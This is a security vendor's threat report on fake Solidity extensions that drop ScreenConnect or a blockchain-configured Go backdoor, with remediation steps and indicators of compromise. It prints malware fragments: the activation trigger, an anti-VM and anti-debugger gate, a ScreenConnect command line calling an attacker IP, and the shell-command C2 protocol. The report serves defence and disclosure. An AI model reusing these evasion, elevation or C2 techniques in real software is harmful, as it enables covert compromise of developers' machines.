SleepyDuck is back. Nearly a year after a fake Solidity extension used Ethereum for resilient command-and-control, and months after another fake Solidity extension delivered ScreenConnect through a strikingly similar chain, Pluto detected the campaign’s newest evolution: EtherDuck.
The operator’s calling card has remained remarkably consistent. Across the documented waves, the campaign impersonated Solidity development tooling and carried the same duck ASCII art. The delivery chain, however, became more capable: manipulated marketplace rankings, payloads for Windows, macOS, Linux, x64, and ARM64, malware hidden inside a valid video file, Ethereum-based C2 configuration, and anti-sandbox and anti-debugger checks.
Pluto detected and reported two EtherDuck waves, and Open VSX removed each after approximately 19 hours. That rapid response materially limited the time the extensions were available. But the second wave appeared within hours of the first takedown, under new publisher identities and carrying the same payloads. The listings disappeared; the operator, tooling, and command infrastructure did not.
SleepyDuck is back, and EtherDuck is its latest evolution.
- We assess with high confidence that this is the same actor behind the earlier SleepyDuck and ScreenConnect campaigns. Across the documented waves, the operator targeted Solidity developers through fake extensions and reused the same duck ASCII art, startup activation, persistence techniques, anti-analysis behavior, and Ethereum-based C2 configuration. The spring and September 2026 waves also used the same contract and byte-identical Go payloads.
- Four fake extensions impersonated widely used Solidity and Hardhat tooling. The operator inflated their displayed download counts by 300k+ in a single day to outrank the genuine listings in search.
- One installation established persistent remote access across major developer platforms. Windows victims received ScreenConnect after an elevation chain; macOS and Linux victims received a persistent shell that used an Ethereum smart contract as a resilient C2 address book.
- The payloads were designed to evade ordinary inspection. They were hidden in an archive appended to a real 205 MB video, and unpacked only at runtime.
- Pluto detected and reported both waves quickly, and Open VSX reacted quickly to each report. Each wave of malicious extensions remained live for only approximately 19 hours before its listings were removed.
- Each removal contained a wave, but it did not disrupt the campaign. The operator returned within hours under new identities, carrying the same payloads, this time with anti-sandbox and anti-debugger checks added.
SleepyDuck’s Evolution
EtherDuck is the latest visible stage of an evolving campaign, not an isolated extension. The implementations and infrastructure changed between waves, but the target, delivery surface, operating model, and operator signature remained consistent.
| Campaign | What remained consistent | What evolved |
|---|---|---|
| SleepyDuck, November 2025 | Fake Solidity tooling on Open VSX, duck ASCII art, editor-based activation, sandbox evasion, and an Ethereum contract for C2 resilience | A command-execution RAT polling a conventional C2, with the contract acting as fallback configuration |
| ScreenConnect campaign, January 2026 | Fake Solidity extension, duck ASCII art, startup activation, and persistence | ScreenConnect delivery, Windows elevation, and macOS/Linux persistence |
evjawbreaker wave, April–July 2026 |
Fake Solidity extensions, startup activation, cross-platform persistence, and Ethereum-based C2 configuration | The exact contract and byte-identical Go payloads later used by EtherDuck; one extension remained available through TRAE after its Open VSX removal |
| EtherDuck, September 2026 | Same target population, impersonation strategy, duck calling card, ScreenConnect, and Ethereum-based configuration | Four cross-platform payload builds, payloads hidden in an MP4, two publisher identities, and expanded anti-analysis checks |
The repeated duck ASCII art is an unusually specific link when combined with the same marketplace, target population, impersonation theme, blockchain-based C2 configuration, and anti-analysis behavior. Although the contracts, network infrastructure, and implant implementations changed between operations, we assess with high confidence that EtherDuck is another campaign by the same actor.
Why One Install Could Become an Organization-Wide Compromise
A Solidity developer’s workstation is more than an endpoint. It is often a control plane for source repositories, build pipelines, cloud infrastructure, package registries, wallets, and smart-contract deployments. Once an operator has persistent desktop or shell access, they inherit the developer’s position inside each of those systems.
That access exposes Git and SSH credentials, cloud CLI sessions, CI/CD tokens, .env files, package-publishing credentials, wallet keystores, private keys, and contract deployment or upgrade authority. It creates opportunities to modify source code, poison builds, move laterally into infrastructure, publish compromised packages, and authorize malicious on-chain activity.
The campaign was built to reach that position across almost any developer workstation. It carried a Windows payload plus macOS and Linux payloads for both x64 and ARM64. On Windows it installed persistent unattended desktop access; on macOS and Linux it installed a persistent interactive shell. Removing the extension listing stopped new downloads, but it did not remove either payload from machines where it had already executed.
The Bait: A Search Result Built to Win
juanblanco.solidity provides the syntax highlighting, compiler diagnostics, and language server that most Solidity developers depend on to write Ethereum smart contracts in VS Code. That’s earned it roughly 1.8 million installs on the Marketplace. The fake listing borrows that reputation in two ways, and both are visible on the search page itself. First, the display name: in Open VSX search results and on the listing page itself, the fake extensions show up with the identical display name to the real ones. Only the unique publisher identifier underneath (alejandroaranda.solidity-languini vs. juanblanco.solidity, later juanfranblanco.solidity-vscode and Nomic-ETH.hardhat-solidity) reveals the difference, and that’s not what a developer scanning results looks at. Second, the download count: Open VSX’s download-count endpoint is unauthenticated and never verifies that a “download” became an install, so the actor simply scripted requests against their own listings until the counter said what they wanted.
Faking a download count to climb the marketplace search rankings isn’t new. We flagged the same play in Count Dooku, where dozens of copycat listings across Open VSX used inflated numbers to look legitimate. In EtherDuck, the operator paired that ranking abuse with the evolved cross-platform payload chain described below.
| Genuine extension | Fake listing | |
|---|---|---|
juanblanco.solidity |
~107,000 downloads (lifetime) | juanfranblanco.solidity-vscode: ~428k in ~24 hours |
NomicFoundation.hardhat-solidity |
~98,000 downloads (lifetime) | Nomic-ETH.hardhat-solidity: ~347k in ~24 hours |


So the developer sees a search page where the fake outranks the real one on the only number they had to judge it by. Nothing has run yet, and the fake listing has already won.
The Trojan Horse: A Video File That Isn’t Just a Video
The install finishes in seconds, same as any other extension. Open the VSIX package that just landed on disk, though, and nothing looks alarming: a couple of JavaScript files and The Duck Song.mp4, 205 MB, a real, playable video. A scanner that only looks at what’s bundled sees a webview extension with an oversized asset. The extension’s own code disagrees. On activation (onStartupFinished, so install alone is enough) it spawns a detached, hidden Node process and hands it that exact video file as an argument. That is the whole trigger, reconstructed here from out/components/autoUpdate.js:
function attemptUpdate() {
if (isDeployComplete()) return;
runBundledSync("The Duck Song.mp4");
}
What runs next reads past the video content to a custom archive appended after it, in three layers: a magic marker (NYANSTEG) inside a standard MP4 padding box, a token-substituted Base64 blob (NYANB64X, 64 multi-character tokens standing in for the 64 base64 characters, enough to dodge naive string detection), and a small container format (NYANARCH) listing each file by name, size, and SHA-256, every hash verified before a byte touches disk. There’s no pixel manipulation involved. The video file is simply a shipping container, with a second file sewn onto the end that ordinary tooling never looks for, and there is far more container than video: only the first 3.8 MB of that 205 MB is footage. The other 201 MB is the appended archive, bloated to five times the 37.6 MB it actually carries by that token substitution. An extension shipping a 205 MB video is odd enough on its own, but 98% of the file being something other than video is the real giveaway. The NYAN prefix on all three markers is a Nyan Cat reference, the first of several small jokes the operator leaves in the payload.
The archive carries a payload for every platform it might land on, and the launcher picks the right one for the victim’s machine: it checks the OS and CPU architecture, writes only the matching file to disk, and discards the rest. A Windows machine gets a PowerShell loader and an MSI installer; a Mac or Linux machine gets one of four pre-built Go binaries. Here’s where each path leads:
Seven files come out of that container, matching the boxes above:
invoke.ps1: the Windows loader, AMSI-aware, carries the UAC bypassapp.msi: the Windows payload, a ScreenConnect RAT installerdarwin_arm64/darwin_amd64/linux_amd64/linux_arm64: four builds of the same Go backdoornote.txt: bait, never referenced by any code path

app.msi (11/62), Linux ARM64 backdoor (2/57), and macOS x64 backdoor (1/62).note.txt is never written or read by any code. It exists purely for whoever extracts and opens it by hand:
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⠿⠿⠷⣶⣄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⢀⣀⡀⠙⣷⡀⠀⠀⠀
⠀⠀⠀⡀⠀⠀⠀⠀⠀⢠⣿⠁⠀⠀⠀⠘⠿⠃⠀⢸⣿⣿⣿⣿
⠀⣠⡿⠛⢷⣦⡀⠀⠀⠈⣿⡄⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⠟
⢰⡿⠁⠀⠀⠙⢿⣦⣤⣤⣼⣿⣄⠀⠀⠀⠀⠀⢴⡟⠛⠋⠁⠀
⣿⠇⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠈⣿⡀⠀⠀⠀
⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀
⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡇⠀⠀⠀
⠸⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⠀⠀⠀⠀
⠀⠹⣷⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣰⡿⠁⠀⠀⠀⠀
⠀⠀⠀⠉⠙⠛⠿⠶⣶⣶⣶⣶⣶⠶⠿⠟⠛⠉⠀⠀⠀⠀⠀⠀
you found an easter egg
congratulations
your prize is nothing
One Install, Two Paths: What Happens on the Victim’s Machine
From here, the two paths diverge completely, following the chain in the diagram above. Windows installs a persistent ScreenConnect client after elevating through a UAC bypass or ClickFix-style prompt loop. macOS and Linux get a persistent shell that uses an Ethereum smart contract as a resilient C2 address book. Both end the same way, with the attacker in control of the machine.
Windows: A Fake .NET Profiler That Ends in Real Remote Control
invoke.ps1 is a loader, not the payload. It unpacks a second script, hidden inside it as a Deflate-compressed blob, and hands control to that instead. The outer loader keeps watching that script’s output the whole time: if Defender or AMSI kills it mid-run, the loader notices immediately, launches calc.exe, deletes the evidence, and quits. The calculator is a decoy, and it matters when it fires: only once something has already caught the script, which is exactly when someone is likely to be watching. A developer who saw a window flash open during an extension install, or an analyst reading back the process tree, gets handed a harmless explanation for the odd behaviour they just noticed. It looks like a throwaway test rather than a payload that got blocked, which gives whoever is looking a reason to stop looking and leaves the real purpose hidden.
If it survives that, the inner script checks what it can already get away with:
- Already an elevated admin? Run the payload directly, no tricks needed.
- Local admin, but not elevated yet? Skip the UAC prompt entirely with a documented bypass called COR_PROFILER.
- Standard user? Fall back to a ClickFix-style elevation loop, repeatedly presenting a genuine UAC prompt until the victim clicks “Yes.”
COR_PROFILER is the interesting one. It drops a DLL to disk, points .NET’s own profiler environment variables at it, and opens a Microsoft Management Console snap-in, one of the tools Windows auto-elevates without ever showing a prompt. MMC is a .NET application, so the instant it launches fully elevated, it loads that DLL. No dialog, no click. This is technique #39 in UACMe, the public catalog of Windows UAC bypass methods, and the malware’s own filename admits it: uac39-inner-<guid>.ps1.
However it gets there, once elevated the loader excludes its staging directory from Microsoft Defender, silently installs the real payload via msiexec, and then removes the Defender exclusion, staging directory, scripts, and launcher.
What’s left behind is a real, legitimate remote-access product, ScreenConnect, configured to phone home on its own:
ScreenConnect.ClientService.exe "?e=Access&y=Guest&h=185.232.84.169&p=8041&s=0d97785f-30c3-4ec8-b408-569362f31ed0&k=<RSA relay key>"
e=Access is ScreenConnect’s own name for a full, unattended remote-desktop session, not a limited support tunnel. It runs as a Windows service, so whoever holds the other end of 185.232.84.169:8041 has the same access a local user would, and it survives reboots.
macOS/Linux: A Backdoor That Keeps Its C2 Address on the Blockchain
The non-Windows path skips the elevation fight entirely and goes straight for persistence. The matching Go binary lands at ~/.solidity/<os>_<arch>, made executable, with a LaunchAgent or systemd service to relaunch it at every login. On macOS it also strips its own quarantine flag first, so Gatekeeper never gets a chance to warn anyone.
Before it does anything else, it checks whether it’s being watched: a debugger’s tracer PID, a hypervisor flag, VirtualBox/QEMU markers on disk, known analysis tools running, sandbox fingerprints in hostnames like any.run or hybrid-analysis. If everything looks clean it carries on. If it doesn’t, the binary exits without writing a thing, leaving an analyst nothing to look at.
Even stripped, the binary gives away more than it means to. Go keeps its module structure in an internal symbol table, and recovering it shows the actor named their own project evjawbreaker, with JAWBRK as the shorthand they wrap around every command’s output on the wire. That says nothing about how the malware works, but it does tell us what the author called it.
Then it goes looking for its command server, and there isn’t one hardcoded anywhere. No string in any of the four builds contains a plaintext C2 IP, hostname, or domain. Instead, it makes a read-only call to an Ethereum smart contract. Here are the live values, which anyone can resolve through a public RPC with no wallet, no gas, and no transaction of their own:
contract 0xf8a900Db50b3331be6B768bA460BB59f3E40C344
owner 0xfd3fc58bcbd8ccc77b6000201438edfc636e7ca7
param1 193.57.9.17:4912
param2 http://107.189.27.46:3000/app.js
The owner address is the only account that can change any of it. param1 is what the backdoor dials. param2 points at a second URL that no shipped payload references and that wasn’t serving anything when we looked. Its purpose remains unknown. We did not observe the payload retrieving it, although the contract owner retains the ability to change it at any time.
This is the technique Google’s Threat Intelligence Group named “EtherHiding”: using a public smart contract as a C2 address book. The contract removes the disposable domain or hosting dependency defenders would normally seize. With a single transaction, the operator can repoint the implant fleet to new infrastructure without rebuilding or republishing the malware. The backdoor reads the contract through a public RPC endpoint, trying one of eight hardcoded free gateway services in turn, with no wallet or API key needed. Ethereum RPC traffic also blends naturally into a Solidity developer’s normal activity.

193.57.9.17:4912.The Blockchain Records the Campaign’s Timeline
The contract’s transaction history provides an immutable, independently verifiable record of the operator’s infrastructure changes. Correlated with extension publication dates and payload analysis, it shows that EtherDuck was not assembled in September. It was the latest distribution wave of infrastructure and malware staged months earlier.
| On-chain activity (UTC) | Correlated campaign activity | What it shows |
|---|---|---|
| March 14, 2026: contract deployment, followed by two configuration changes | The first known extension using this control plane appeared roughly seven weeks later | The operator staged and tested the on-chain control plane well before distribution |
| March 28–29: three additional changes | By April 30, a public analysis had identified juunfranbIanco.solidity carrying the evjawbreaker implants and querying this contract |
The malware and its resilient C2 infrastructure were in place before the first publicly documented distribution wave |
| May 3 and May 16: two updates | juannegro.solidity had been published on Open VSX on May 1 and remained downloadable through TRAE as late as July 18 |
The operator rotated the live campaign’s C2 configuration without rebuilding or republishing the extension |
| July 31: another configuration change | We found no publicly reported distribution wave linked to this transaction | The operation remained active between the spring and September waves, although the associated distribution channel is unknown |
| September 23–24: the final two known changes to the contract | They landed approximately 25 hours and six hours before alejandroaranda.solidity-langsupport and alejandroaranda.solidity-languini went live |
The operator reconfigured the same control plane immediately before the EtherDuck launch |
The spring extensions carried the same four Go payloads found in September, byte for byte. Together with the shared contract, that makes EtherDuck a new distribution wave of an existing operation, not merely a similar campaign. Marketplace identities and extension names changed; the implant and its control plane survived.
Address in hand, the backdoor connects over TLS, registers itself with the operator’s “hub,” and waits. The hub can only send one kind of message, a base64-encoded shell command, and gets the output back the same way:
hub -> implant
{"type":"command","message":"<base64-encoded shell command>"}
implant -> hub
{"type":"commandResult","stdout":"...","stderr":"...","exitCode":0}
Every command runs inside the same shell, kept open for the whole session rather than spawned fresh each time, built on github.com/creack/pty, a public pseudo-terminal library and the binary’s only third-party dependency. That’s the entire capability: no file-transfer opcode, no screenshot command, no plugin loader. Grabbing a wallet file or exfiltrating an .env is just more commands typed into that same shell.
All of that comes out of one fake download. On Windows it ends in a persistent remote-desktop session; on macOS and Linux, in a live shell whose C2 address comes from a smart contract. Neither path needed anything from the developer beyond clicking “Install.”
Round Two: Taken Down, and Back Within Hours
We reported both alejandroaranda listings to Open VSX, and both came down. Within hours, the campaign was back under a new publisher account (dbolovetoa), with two new listings: juanfranblanco.solidity-vscode, an even closer copy of the real extension’s name, and Nomic-ETH.hardhat-solidity, now going after Hardhat’s users too. Within a day they showed ~428,000 and ~347,000 downloads, the same trick working a second time.
Diffing the new packages against the originals showed almost nothing had changed: same ScreenConnect installer, same four Go backdoors, same taunt file, byte-for-byte. The one addition was 129 new lines at the top of the runner script, lang-resource-sync.js:
function isVirtualMachine() {
return checkForVendorStrings(["VMware", "VirtualBox", "QEMU", "Parallels", "KVM"]);
}
function isDebugged() {
return runningProcessesInclude(["x64dbg", "OllyDbg", "windbg", "ida", "procmon",
"ProcessHacker", "Wireshark", "Fiddler", "dnSpy"]);
}
function shouldSkipInstall() {
return isVirtualMachine() || isDebugged();
}
if (shouldSkipInstall()) return;
An anti-analysis gate: on a VM, or next to a debugger, packet sniffer, or reverse-engineering tool, the dropper walks away silently, nothing written, nothing to catch. It didn’t help. Matching hashes on everything else gave the campaign away within minutes.
A Takedown Is Containment, Not Disruption
Open VSX’s rapid response mattered. Removing each wave after approximately 19 hours cut off the operator’s active distribution channel and prevented the listings from remaining available indefinitely. But removing an extension and disabling its publisher account does not, by itself, dismantle the campaign behind it.
The operator retained the payloads, packaging code, C2 servers, Ethereum contract, contract-owner account, and access to replacement publisher identities. Within hours, the same malware returned under different names. From the attacker’s perspective, the cost of the takedown was a new account and a repackaged listing, not the loss of the operation.
We have seen this pattern outside SleepyDuck as well. After the original Nebula-Deck extensions were removed, Nebula-Deck Junior returned behind new branding with the same delivery kit, rotated infrastructure, and a different payload. The extension was disposable; the operator’s underlying capability was not.
Marketplace takedowns are therefore necessary containment, but treating them as campaign disruption is the mistake. An effective response must cluster related payloads and publisher identities, search retroactively for other listings built from the same kit, warn users with previous installations, and pursue the infrastructure and accounts that remain useful after the listing disappears.
Publisher Infrastructure
Neither publisher account is a fresh sock puppet built for this campaign. Both janeykomit and dbolovetoa are GitHub accounts registered back in 2017, then padded years later, in a single sitting, with filler repositories: janeykomit‘s 14 repos are all named things like DataAnalyzer-2353 and AIChatBot-4253, generated within a three-day span in early 2025 and labeled by GitHub itself as “Bot-generated repo.” dbolovetoa‘s 47 repos are forks of popular open-source AI/ML projects (pytorch, diffusers, llama.cpp, cloudflare-docs), all forked within minutes of each other in one session. Neither account looks like a real contributor’s. They look aged, bought or compromised, then dressed up just enough to clear the “new account” suspicion before being used to publish malware.
If This Was Installed: What to Do Right Now
If a machine has, or ever had, alejandroaranda.solidity-languini, alejandroaranda.solidity-langsupport, juanfranblanco.solidity-vscode, or Nomic-ETH.hardhat-solidity installed, treat it as compromised, not just “at risk.” The payload runs on activation, before a developer does anything with the extension’s fake UI.
- Disconnect the machine from the network first. Both C2 channels (the ScreenConnect relay and the Go backdoor’s persistent shell) need an active connection to do anything. Cutting it stops a command from arriving mid-response.
- Uninstalling the extension does not remove the malware. By the time you can see the extension in VS Code, it has already installed a Windows service or a Mac/Linux background process that runs completely on its own, outside VS Code. Deleting the extension leaves that service or process running.
- On Windows, check Services for
ScreenConnect Client (5cbe79c9c25524df)and the folderC:\Program Files (x86)\ScreenConnect Client (5cbe79c9c25524df)\. If present, assume an operator has had full interactive desktop access, not just code execution, for as long as it’s been running, and rebuild the machine rather than trying to clean it. - On macOS/Linux, check
~/.solidity/,~/Library/LaunchAgents/com.solidity.langsupport.runner.plist, and~/.config/systemd/user/solidity-langsupport-runner.service. If any exist, assume the operator has already run arbitrary shell commands as that user. Pull recent process history and treat every credential that user’s shell could reach (SSH keys, cloud CLI tokens, wallet keystores,.envfiles) as exposed. - Rotate everything that machine had access to, prioritizing wallet private keys/mnemonics, deployment keys, and smart-contract-related secrets first. Given who this campaign targets, those are exactly the secrets it’s after.
- Hunt by network indicator, not by extension name. The re-upload wave proves the operator will ship an identical payload under a completely different publisher and extension name. Egress to
185.232.84.169:8041,193.57.9.17:4912, or repeatedeth_calltraffic to contract0xf8a900Db50b3331be6B768bA460BB59f3E40C344from a developer machine is a stronger signal than any single extension identifier. - For the org going forward: don’t let install/download counts substitute for real publisher vetting. This entire campaign’s search-ranking advantage was fabricated through an unauthenticated counting endpoint. Prefer extensions with a genuine linked repository and a real publisher history, and if extensions are centrally allowlisted, block by publisher account and payload hash, not by extension name alone.
Conclusion
Open VSX’s response was fast: both EtherDuck waves were removed after approximately 19 hours. But the speed with which the actor returned shows the difference between removing a listing and disrupting a campaign.
SleepyDuck has now survived multiple publisher identities, extension names, payload implementations, and infrastructure changes. The duck ASCII art stayed the same; the delivery chain became more capable. As long as the response ends with deleting the current listing and publisher account, the operator can retain everything that matters and return through another disposable identity.
Extension marketplaces need to treat the campaign, not the individual package, as the unit of response. That means clustering related code and payloads across publishers, identifying the infrastructure and accounts behind them, notifying previous installers, and hunting for the next listing before it reaches the top of search. The listings are disposable. The operation behind them is not.
Timeline
| When | What |
|---|---|
| Sep 24, 2026, ~23:42 UTC | alejandroaranda.solidity-languini and alejandroaranda.solidity-langsupport publish under publisher janeykomit |
| Sep 25, 2026 | We report both listings to Open VSX |
| Sep 25, 2026, 18:35 UTC | Open VSX confirms both alejandroaranda listings are removed. They were live for roughly 19 hours. |
| Sep 25, 2026, ~22:20 UTC | Our scanning flags the re-upload wave, published under a new publisher, dbolovetoa |
| Sep 25, 2026, ~22:40 UTC | The re-upload’s final versions, juanfranblanco.solidity-vscode 0.0.191 and Nomic-ETH.hardhat-solidity 0.9.3, publish about 20 minutes after that flag |
| Sep 26, 2026 | We report both re-upload listings to Open VSX |
| Sep 26, 2026, 17:35 UTC | Open VSX confirms both re-upload listings are removed, roughly 19 hours after we first flagged them |
Indicators of Compromise
Extension identifiers
alejandroaranda.solidity-languini @ 0.9.2 (Open VSX)
alejandroaranda.solidity-langsupport @ 0.0.6 (Open VSX)
juanfranblanco.solidity-vscode @ 0.0.189 / 0.0.190 / 0.0.191 (Open VSX, re-upload)
Nomic-ETH.hardhat-solidity @ 0.9.2 / 0.9.3 (Open VSX, re-upload)
Publisher GitHub accounts: janeykomit (campaign 1), dbolovetoa (re-upload)
Impersonates: juanblanco.solidity, NomicFoundation.hardhat-solidity
Payload hashes (SHA-256, shared across both waves)
app.msi (ScreenConnect installer): 7527e86d70e7c9493db4356f1c3775380431b310000f2602c1e993cf435d01da
invoke.ps1 (loader): 37d14bff30762ca701e9c1f8bc6c57c065bb20ae3a2208cb7411a6530610f08e
darwin_amd64: 80d2672e2599732d3c0ae2a4cd0d1e3fe4d555a60273ce33feb99db3f34d250f
darwin_arm64: fae61f31f00988fdc5cc9e7272b51e08af2e245d81003237875415930fd27358
linux_amd64: 9b73e7cd4e1425e770392549d8df46c706139ef476f4f7b9ac405165dc8d9696
linux_arm64: b601776817363b96295119f7221338a122d5247a35a77a64b04f286e1bbcc565
note.txt (taunt): 683ad81cdc028c538ee66da8e6b60f2a5ab070bfd900da80175df317a73886d8
Network
185.232.84.169:8041 ScreenConnect relay (Windows)
193.57.9.17:4912 Go backdoor C2 (macOS/Linux)
http://107.189.27.46:3000/app.js Staging URL in contract `param2` (unreferenced, not serving during analysis)
0xf8a900Db50b3331be6B768bA460BB59f3E40C344 Ethereum config contract (EtherHiding-style)
0xfd3fc58bcbd8ccc77b6000201438edfc636e7ca7 Owner EOA (only account that can rotate C2)
Host artifacts
~/.solidity/ (macOS/Linux payload + wrapper)
~/Library/LaunchAgents/com.solidity.langsupport.runner.plist
~/.config/systemd/user/solidity-langsupport-runner.service
C:\Program Files (x86)\ScreenConnect Client (5cbe79c9c25524df)\
%TEMP%\uac39-<guid>\profiler.dll
%TEMP%\solidity-langsupport-debug.log
Shell markers: __JAWBRK_EC__ / __JAWBRK_DONE__
Archive magics: NYANSTEG / NYANARCH / NYANB64X